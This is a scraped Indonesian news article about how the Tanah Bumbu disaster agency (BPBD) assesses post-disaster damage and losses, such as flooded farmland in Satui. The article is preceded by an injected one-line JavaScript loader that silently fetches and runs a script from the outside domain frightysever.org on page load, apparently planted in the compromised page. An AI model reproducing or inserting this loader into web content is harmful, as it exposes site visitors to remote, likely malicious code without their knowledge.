(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BATULICIN – Badan Penanggulan Bencana Daerah (BPBD) mempunyai tugas mengkoordinasikan dan melaksanakan kebijakan di bidang penanggulangan bencana, saat terjadi bencana dan pasca bencana.
Kepala BPBD Kabupaten Tanah Bumbu (Tanbu), Eryanto Rais melalui Kasubid Rekonstruksi Nasrudin mengatakan bahwa bidang rekonstruksi membawahi perumusan kebijakan pada pasca bencana yang berfokus terhadap pengkajian data terkait kerusakan dan kerugian.
Ia menjelaskan, bidang rekonstruksi memiliki tugas dalam melakukan pendataan terhadap aset-aset yang terdampak akibat terjadinya bencana.
“Kami turun ke lapangan setelah bencana, berbarengan dengan bidang kedaruratan logistik saat melakukan evakuasi, kami turun untuk melakukan verifikasi terhadap aset dan hal terkait apa saja yang terdampak akibat bencana,” jelasnya.
Baca juga: Perdana Tiga Taekwondoin HSU Ikuti UKT dan Kukkiwon
Seperti dampak bencana di bidang pertanian, saat pasca bencana maka akan dilakukan pendataan dari infrastruktur, berapa luas lahan pertanian yang gagal panen, umur paditerdampak akibat bencana, dan data rincian lainnya.
BPBD juga tidak lupa melakukan koordinasi dengan unsur terkait guna mendapatkan data yang real dan akurat.
“Data kerusakan dan kerugian akibat bencana, kami mengambil acuan dari BNPB, jadi misalnya setiap lahan pertanian yang terkena bencana tidak bisa panen ada acuan tersendiri untuk mendapatkan nilai kerugiannya,” bebernya.
Data yang dikumpulkan oleh bidang rekonstruksi BPBD Tanbu kemudian menjadi syarat penting bagi pemerintah daerah diusulkan bantuan pemulihan pasca bencana ke pemerintah pusat.
Pada tahun 2021 lalu, kerusakan akibat bencana untuk bidang pertanian hampir mencapai 400 hektare di Kecamatan Satui. Perkiraan nilai kerugian sebesar kurang dari Rp1 miliar lebih.
Tidak semua kerugian pasca bencana akan mendapatkan bantuan dari BPBD, pihaknya akan berkoordinasi dengan pihak terkait seperti dengan Dinas PUPR terkait penanganan infrastuktur.
Baca juga: Tiga Titik Kamera Tilang Elektronik Mulai Aktif di Banjarmasin
“Dengan adanya pengkajian ini diharapkan dapat menjadi usulan-usulan ke BNPB, sehingga dapat dipertimbangkan apa yang menjadi kebutuhan masyaralat terdampak bencana,” pungkasnya. (Kanalkalimantan.com/ftr)
Reporter : ftr
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
This website uses cookies.